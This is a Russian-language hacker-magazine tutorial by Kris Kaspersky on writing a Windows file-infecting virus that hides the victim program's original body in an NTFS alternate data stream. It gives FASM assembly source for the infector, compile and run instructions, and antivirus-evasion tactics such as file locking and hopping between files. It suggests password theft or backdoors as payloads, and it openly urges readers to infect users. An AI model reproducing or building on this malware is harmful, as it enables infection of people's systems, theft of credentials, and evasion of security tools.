Захват и освобождение заложников в исполняемых файлах

Автор: (c)Крис Касперски ака мыщъх

Конструирование вирусов - отличный стимул к изучению ассемблера! И хотя вирус, в принципе, можно написать и на Си, это будет как-то не по-хакерски и вообще неправильно! Настоящие хакеры пишут только на FASM'е и только под Pain/Hypocrisy или, на худой конец, под группу Absu - запрещенную в большинстве стран Европы. Ок! Затариваемся пивом, надеваем наушники, запускаем Multi-Edit или TASMED и погружаемся в мрачный chemical excrement кибернетического мира, ряды которого скоро пополняется еще одним зловредным созданием...

О вирусах и потоках

Внедрение вируса в исполняемый файл - достаточно сложный и мучительней процесс. Как минимум, для этого требуется изучить формат PE-файла и освоить десятки API-функций... Такими темпами мы не накодим вируса и за сезон, а хочется поиметь его прямо здесь и сейчас. Но хакеры мы или нет? Файловая система NTFS (основная файловая система Windows XP) содержит такую фичу как "потоки" (stream), они же "атрибуты". Внутри одного файла может существовать несколько независимых потоков данных.

Имя потока отделяется от имени файла знаком ":", например: my_file:stream. Основное тело файла хранится в безымянном потоке, но мы также можем создавать и свои потоки. Заходим в FAR, давим <Shift-F4>, вводим "xxx:yyy" и скармливаем редактору какое-нибудь восклицание, например: "легализуем гандж!". Выходим из редактора и видим файл "xxx" с нулевой длиной. Как это так с нулевой длиной?! А наше восклицание где?! Жмем <F4> и... ни хрена не видим. Все правильно! Если не указано имя потока, файловая система отображает основной поток, а он у нас пустой. Размер остальных потоков не отображается и чтобы дотянуться до их содержимого имя потока должно быть указано явно. Вводим "more < xxx:yyy" и вот он, наш гандж.

Будем мыслить так: раз создание дополнительных потоков не изменяет видимых размеров файла, наше пребывание в нем, скорее всего, останется незамеченным. Конечно, чтобы передать управление на свой поток, необходимо модифицировать основной поток. Контрольная сумма при этом неизбежно изменится, что навряд ли понравится антивирусным сторожам. Ну, со сторожами мы еще разберемся, а пока определимся со стратегией внедрения.

Файловая система NTFS

Рисунок 1. Файловая система NTFS поддерживает несколько потоков в рамках одного файла (рисунок, к сожалению, на китайском - другой найти не удалось, но приблизительная структура понятна и без перевода).

Алгоритм работы вируса

Закройте руководство по PE-формату. Оно нам не понадобится. Мы ведь хакеры, а не штангисты какие-нибудь и действовать мы будет так: создаем внутри жертвы дополнительный поток, копируем туда основное тело файла, а на его место записываем свой код, делающий что-то "полезное" и передающий управление на основное тело. Работать это будет только на Windows NT/2000/XP и только под NTFS. FAT отдыхает. Оригинальное содержимое заражаемого файла на FAT-разделах будет утеряно, а это писец. То же самое произойдет, если упаковать файл ZIP'ом или любым другим архиватором, не поддерживающим потоков (а вот RAR их поддерживает. В диалоговом окне "имя и параметры архива" есть вкладка "дополнительно", а в ней галочка "сохранять файловые потоки". Вот это она и есть.)

Заставляем RAR упаковывать потоки

Рисунок 2. Заставляем RAR упаковывать потоки.

Есть и другая проблема. Windows блокирует доступ ко всем открытым файлам и при попытке внедрения в explorer.exe или firefox.exe обламывает нас по полной программе. Печально. Но выход есть. Заблокированный файл нельзя открыть, но можно переименовать. Берем explorer.exe, переименовываем его... ну, например, в godown, создаем новый файл с точно таким же именем, в основном потоке которого размещаем свое вирусное тело, а прежний explorer.exe копируем в дополнительный поток. При последующих запусках системы управление получит наш explorer.exe и godown будет можно удалить. А можно и не удалять. Правда, тогда он может привлечь внимание бдительного юзера или антивирусного ревизора.

Кстати, о ревизорах. Внедриться в файл - это только половина дела. Это и орангутанг сможет. Еще необходимо придумать, как обезвредить всевозможные контролирующие органы типа антивирусов и сторожей. Нет ничего проще! Достаточно заблокировать файл сразу же после запуска и удерживать его в этом состоянии на протяжении всего сеанса работы с Windows вплоть до перезагрузки. Антивирусы просто не смогут открыть файл, а, значит, не смогут обнаружить и факт его изменения. Существует множество путей блокировки - от CreateFile со сброшенным флагом dwSharedMode до LockFile/LockFileEx. Подробнее об этом можно прочитать в Platform SDK.

Основная ошибка большинства вирусов состоит в том, что однажды внедрившись в файл, они сидят и покорно ждут, пока не придет антивирус и не сотрет их нафиг. А ведь сканирование современных винчестеров занимает значительное время, растягивающееся на многие часы... В каждый момент времени антивирус проверяет всего один файл и если вирус ведет кочевую жизнь, мигрируя от одного файла к другому, шансы на его обнаружение стремительно уменьшаются.

Мы будем действовать так: внедряемся в файл, ждем 30 секунд, удаляем свое тело из файла, тут же внедрясь в другой. Чем короче период ожидания - тем выше вероятность пройти мимо антивируса незамеченным, но и выше дисковая активность. А регулярное мигание красной лампочки без видимых причин сразу же насторожит опытных пользователей, поэтому приходится хитрить. Можно, например, вести мониторинг дисковой активности, осуществляя заражение только тогда, когда происходит обращение к какому-нибудь файлу. В этом нам поможет файловый монитор Марка Руссиновича (www.systeminternals.com), который легко доработать под наши нужды.

Исходный код вируса

Естественные языки (ну, типа там русский матерный или английский технический) с описанием компьютерных алгоритмов практически никогда не справляются. Уж слишком они неоднозначны и взаимно противоречивы. Поэтому, во избежание недоразумений продублируем описание алгоритма на языке ассемблера.

Ниже приведен исходный код ключевого фрагмента вируса с комментариями (технические детали опущены):

section '.code' code readable executable
start:
        ; удаляем временный файл
        push godown
        call [DeleteFile]

        ; определяем наше имя
        push 1000
        push buf
        push 0
        call [GetModuleFileName]

        ; считываем командную строку
        ; ключ --* filename - заразить
        call [GetCommandLine]
        mov ebp,eax
        xor ebx,ebx
        mov ecx, 202A2D2Dh ;

rool:
        cmp [eax], ecx                ; это '--*'?
        jz  infect
        inc eax
        cmp [eax], ebx                ; конец командной строки?
        jnz rool

        ; выводим диагностическое сообщение,
        ; подтверждая свое присутствие в файле
        push 0
        push aInfected
        push aHello
        push 0
        call [MessageBox]

        ; добавляем к своему имени имя NTFS-потока
        mov esi, code_name
        mov edi, buf
        mov ecx, 100                  ; code_name_end - code_name
        xor eax,eax
        repne scasb
        dec edi
        rep movsb

        ; запускам NTFS-поток на выполнение
        push xxx
        push xxx
        push eax
        push eax
        push eax
        push eax
        push eax
        push eax
        push ebp
        push buf
        call [CreateProcess]
        jmp go2exit                   ; выходим из вируса

infect:
        ; устанавливаем eax на первый символ имени файла-жертвы
        ; (далее по тексту dst)
        add eax, 4
        xchg eax, ebp

        xor eax,eax
        inc eax

        ; тут не помешает вставить проверку dst на заражение

        ; переименовываем dst в godown
        push godown
        push ebp
        call [RenameFile]

        ; копируем в godown основной поток dst
        push eax
        push ebp
        push buf
        call [CopyFile]

        ; добавляем к своему имени имя NTFS-потока
        mov esi, ebp
        mov edi, buf
copy_rool:
        lodsb
        stosb
        test al,al
        jnz copy_rool
        mov esi, code_name
        dec edi
copy_rool2:
        lodsb
        stosb
        test al,al
        jnz copy_rool2

        ; копируем godown в dst:eatout
        push eax
        push buf
        push godown
        call [CopyFile]

        ; тут не помешает добавить коррекцию длины заражаемого файла

        ; удаляем godown
        push godown
        call [DeleteFile]

        ; выводим диагностическое сообщение,
        ; подтверждающие успешность заражения файла
        push 0
        push aInfected
        push ebp
        push 0
        call [MessageBox]

        ; выход из вируса
go2exit:
        push 0
        call [ExitProcess]

section '.data' data readable writeable
        godown    db "godown",0     ; имя временного файла
        code_name db ":eatmeout",0  ; имя потока, в котором будет...
        code_name_end:              ; ...сохранено основное тело

        ; различные текстовые строки, выводимые вирусом
        aInfected db "infected",0
        aHello    db "hello, bitch, fuck them all! (c) mylene farmer -->"

        ; различные буфера для служебных целей
        buf rb 1000
        xxx rb 1000

Листинг 1. Исходный текст ключевого фрагмента вируса.

Компиляция и испытания вируса

Для компиляции вирусного кода нам понадобится транслятор FASM, бесплатную Windows-версию которого можно найти на сайте http://flatassembler.net/. Остальные трансляторы (MASM, TASM) тут непригодны, поскольку используют совсем другой ассемблерный синтаксис.

Ок, скачиваем http://flatassembler.net/fasmw160.zip, распаковываем архив и набираем "fasm.exe xcode.asm" в командной строке. Если все сделано правильно, на диске должен образоваться файл xcode.exe. Запустим его на выполнение с ключом "--*" за которым следует имя предполагаемой жертвы, например, notepad.exe ("xcode.exe --* notepad.exe"). Появление следующего диалогового окна свидетельствует об успешном внедрении. В противном случае у нас ничего не получилось и первым делом необходимо убедиться в наличии прав доступа к файлу. Захватывать их самостоятельно наш вирус не собирается. Во всяком случае, пока... Напомните мне, чтобы вернуться к этому вопросу в следующий раз.

Файл успешно заражен

Рисунок 3. Файл успешно заражен.

Запускаем зараженный notepad.exe на исполнение. В доказательство своего существования вирус тут же выбрасывает диалоговое окно, а после нажатия на "ОК" передает управление оригинальному коду программы.

Реакция зараженного файла на выполнение

Рисунок 3. Реакция зараженного файла на выполнение.

Чтобы у пользователя не случился инфаркт, из финальной версии вируса это диалоговое окно лучше всего удалить, заменив его своей собственной "начинкой". Тут все зависит от наших намерений и фантазии. Можно перевернуть экран, похитить пароли или обложить пользователя трехэтажным матом, послав его на хрен.

Зараженный файл обладает всеми необходимыми репродуктивными способностями и может заражать другие исполняемые файлы. Взять хотя бы "Пасьянс" - "notepad.exe --* sol.exe". Естественно, заражать файлы через командную строку ни один нормальный пользователь не будет и процедуру поиска очередной жертвы в вирусное тело мы должны добавить самостоятельно. Если, конечно, мы захотим ее искать. Ведь несанкционированное внедрение в чужие файлы - это уже УК!

Так что, лучше совершенствовать вирус в другом направлении. При повторном заражении файла текущая версия необратимо затирает оригинальный код своим телом, в результате чего файл отказывает в работе. Вот беда! Как ее побороть? Можно добавить проверку на зараженность перед копированием вируса в файл. Берем CreateFile, передаем ей имя файла вместе с потоком (notepad.exe:eatmeout) и смотрим на результат. Если файл открыть не удалось, значит потока "eatmeout" тут нет и он еще не заражен, в противном случае мы должны отказаться от заражения. Или... выбрать другой поток. Например, eatmeout_01, eatmeout_02, eatmeout_03...

Другая проблема - вирус не корректирует длину целевого файла и после внедрения она уменьшается до 4 Кб - именно столько занимает текущая версия xcode.exe. Нехорошо! Пользователь тут же заподозрит подвох (explorer.exe, занимающий 4 Кб выглядит довольно забавно), занервничает и начнет запускать всякие нехорошие программы типа антивируса. Но что нам стоит запомнить длину жертвы перед внедрением, скопировать в нее свое тело, открыть файл на запись и сделать SetFilePointer на оригинальный размер, увеличивая размер жертвы до исходных значений.

Перечисление потоков

Как определить, какие потоки содержаться внутри файла? Штатными средствами - никак! Функции работы с потоками недокументированны и доступы только через Native-API. Это: NtCreateFile, NtQueryEaFile и NtSetEaFile, описание которых можно найти, в частности, в книге "The Undocumented Functions Microsoft Windows NT/2000" Tomasz'а Nowak'а, электронная копия которой может быть бесплатно скачена с сервера www.NTinterlnals.net. А еще стоит почитать статью "Win2k.Stream" из 5-го номера вирусного журнала #29A, да и другие журналы пролистать не мешает.

Создания нового потока осуществляется вызовом функции NtCreateFile, среди прочих аргументов принимающей указатель на структуру FILE_FULL_EA_INFORMATION, передаваемой через EaBuffer. Как вариант, можно воспользоваться функцией NtSetEaFile, передав ей дескриптор, возращенный NtCreateFile, открывающей файл обычным образом. Перечислением (и чтением) всех имеющихся потоков занимается функция NtQueryEaFile. Прототипы всех функций и определения структур содержатся в файле NTDDK.H, в котором присутствует достаточное количество комментариев, чтобы со всем этим хозяйством можно было разобраться.

Полезные ссылки

Заключение

Свершилось! Наш вирус написан. Что дальше? Теперь можно неспешно полировать код, наращивая его функциональность. В конечном счете, вирус существует не для тупого размножения. У каждого из них должна быть своя миссия и своя сверхзадача. Установить backdoor, перехватить пароль, ну или что-то в этом роде.

Предложенная стратегия внедрения, конечно, не является идеальной, но все же это намного лучше, чем прописываться в реестре, который контролирует куча докторов. Кстати говоря, чтобы не пострадать от своего же собственного вируса, под рукой всегда должно находится противоядие. Следующий командный файл "вытягивает" оригинальное содержимое файла из потока eatmeout и записывает его в файл rebirthed.exe.

more < %1:eatmeout > rebirthed.exe
ECHO i'm rebirthed now, fuck you!

Листинг 2. Восстановитель зараженных файлов.

На сегодня это все. Слушайте Peter'a Tagtgren'a, пейте пиво, натягивайте юзеров вирусом по полной программе - в общем, наслаждайтесь жизнью во всех ее проявлениях.